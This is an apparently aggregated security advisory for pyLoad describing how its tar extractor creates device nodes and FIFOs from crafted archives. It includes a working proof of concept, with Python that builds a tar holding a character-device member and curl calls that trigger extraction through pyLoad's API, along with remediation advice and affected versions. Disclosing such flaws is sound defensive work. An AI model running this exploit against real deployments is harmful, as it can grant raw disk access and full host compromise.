p PatchFirst

GHSA-fr26-jjhm-638c

GHSA-fr26-jjhm-638c · pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)

Diese Seite enthält Fakten aus öffentlichen Sicherheitsquellen. Lesen Sie vor dem Aktualisieren die Originalmeldung.

### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).

CVSS 7.7 · Hoch

Veröffentlicht
Aktualisiert

Technologie-Stack: python

Betroffene Produkte und Versionen

  • pyload-ng PyPI

    Softwareversionen
    • 0.5.0a5.dev528
    • 0.5.0a5.dev532
    • 0.5.0a5.dev535
    • 0.5.0a5.dev536
    • 0.5.0a5.dev537
    • 0.5.0a5.dev539
    • 0.5.0a5.dev540
    • 0.5.0a5.dev545
    • 0.5.0a5.dev562
    • 0.5.0a5.dev564
    • 0.5.0a5.dev565
    • 0.5.0a6.dev570
    • 0.5.0a6.dev578
    • 0.5.0a6.dev587
    • 0.5.0a7.dev596
    • 0.5.0a8.dev602
    • 0.5.0a9.dev615
    • 0.5.0a9.dev629
    • 0.5.0a9.dev632
    • 0.5.0a9.dev641
    • 0.5.0a9.dev643
    • 0.5.0a9.dev655
    • 0.5.0a9.dev806
    • 0.5.0b1.dev1
    • 0.5.0b1.dev2
    • 0.5.0b1.dev3
    • 0.5.0b1.dev4
    • 0.5.0b1.dev5
    • 0.5.0b2.dev10
    • 0.5.0b2.dev11
    • 0.5.0b2.dev12
    • 0.5.0b2.dev9
    • 0.5.0b3.dev100
    • 0.5.0b3.dev101
    • 0.5.0b3.dev13
    • 0.5.0b3.dev14
    • 0.5.0b3.dev17
    • 0.5.0b3.dev18
    • 0.5.0b3.dev19
    • 0.5.0b3.dev20
    • 0.5.0b3.dev21
    • 0.5.0b3.dev22
    • 0.5.0b3.dev24
    • 0.5.0b3.dev26
    • 0.5.0b3.dev27
    • 0.5.0b3.dev28
    • 0.5.0b3.dev29
    • 0.5.0b3.dev30
    • 0.5.0b3.dev31
    • 0.5.0b3.dev32
    • 0.5.0b3.dev33
    • 0.5.0b3.dev34
    • 0.5.0b3.dev35
    • 0.5.0b3.dev38
    • 0.5.0b3.dev39
    • 0.5.0b3.dev40
    • 0.5.0b3.dev41
    • 0.5.0b3.dev42
    • 0.5.0b3.dev43
    • 0.5.0b3.dev44
    • 0.5.0b3.dev45
    • 0.5.0b3.dev46
    • 0.5.0b3.dev47
    • 0.5.0b3.dev48
    • 0.5.0b3.dev49
    • 0.5.0b3.dev50
    • 0.5.0b3.dev51
    • 0.5.0b3.dev52
    • 0.5.0b3.dev53
    • 0.5.0b3.dev54
    • 0.5.0b3.dev57
    • 0.5.0b3.dev60
    • 0.5.0b3.dev62
    • 0.5.0b3.dev64
    • 0.5.0b3.dev65
    • 0.5.0b3.dev66
    • 0.5.0b3.dev67
    • 0.5.0b3.dev68
    • 0.5.0b3.dev69
    • 0.5.0b3.dev70
    • 0.5.0b3.dev71
    • 0.5.0b3.dev72
    • 0.5.0b3.dev73
    • 0.5.0b3.dev74
    • 0.5.0b3.dev75
    • 0.5.0b3.dev76
    • 0.5.0b3.dev77
    • 0.5.0b3.dev78
    • 0.5.0b3.dev79
    • 0.5.0b3.dev80
    • 0.5.0b3.dev81
    • 0.5.0b3.dev82
    • 0.5.0b3.dev85
    • 0.5.0b3.dev87
    • 0.5.0b3.dev88
    • 0.5.0b3.dev89
    • 0.5.0b3.dev90
    • 0.5.0b3.dev91
    • 0.5.0b3.dev92
    • 0.5.0b3.dev93
    • 0.5.0b3.dev94
    • 0.5.0b3.dev95
    • 0.5.0b3.dev96
    • 0.5.0b3.dev97
    • 0.5.0b3.dev98
    • 0.5.0b3.dev99
    Betroffene Versionsbereiche
    • ECOSYSTEM: ≤ 0.5.0b3.dev101

    Keine Korrektur veröffentlicht

Originalquellen

Prüfen Sie Ihren Server →